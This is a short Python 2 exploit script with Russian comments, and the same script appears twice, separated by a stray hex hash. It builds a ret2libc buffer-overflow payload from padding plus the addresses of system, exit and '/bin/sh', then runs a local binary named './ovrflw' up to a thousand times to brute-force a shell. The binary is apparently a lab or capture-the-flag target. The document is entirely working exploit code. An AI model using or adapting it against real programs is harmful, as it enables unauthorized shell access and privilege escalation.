#!/usr/bin/env python
# -*- coding: utf-8 -*-

# Использование: python exploit.py

import struct
from subprocess import call


def little_endian(num):
	"""Упаковка адреса в формат little endian."""
	return struct.pack('<I', num)


junk = "A" * 112            # мусор

libc_addr = 0xb7e09000      # базовый адрес libc

system_offset = 0x0003ada0  # смещение функции system
exit_offset = 0x0002e9d0    # смещение функции exit
sh_offset = 0x0015ba0b      # смещение строки "/bin/sh"

system_addr = little_endian(libc_addr + system_offset)
exit_addr = little_endian(libc_addr + exit_offset)
sh_addr = little_endian(libc_addr + sh_offset)

payload = junk + system_addr + exit_addr + sh_addr

for i in range(1, 1001):
	print 'Try: %s' % i
	call(['./ovrflw', payload])

cdb489dd1694a0b1bf3d0ebf8bde8fe254068cfe
#!/usr/bin/env python
# -*- coding: utf-8 -*-

# Использование: python exploit.py

import struct
from subprocess import call


def little_endian(num):
	"""Упаковка адреса в формат little endian."""
	return struct.pack('<I', num)


junk = "A" * 112            # мусор

libc_addr = 0xb7e09000      # базовый адрес libc

system_offset = 0x0003ada0  # смещение функции system
exit_offset = 0x0002e9d0    # смещение функции exit
sh_offset = 0x0015ba0b      # смещение строки "/bin/sh"

system_addr = little_endian(libc_addr + system_offset)
exit_addr = little_endian(libc_addr + exit_offset)
sh_addr = little_endian(libc_addr + sh_offset)

payload = junk + system_addr + exit_addr + sh_addr

for i in range(1, 1001):
	print 'Try: %s' % i
	call(['./ovrflw', payload])
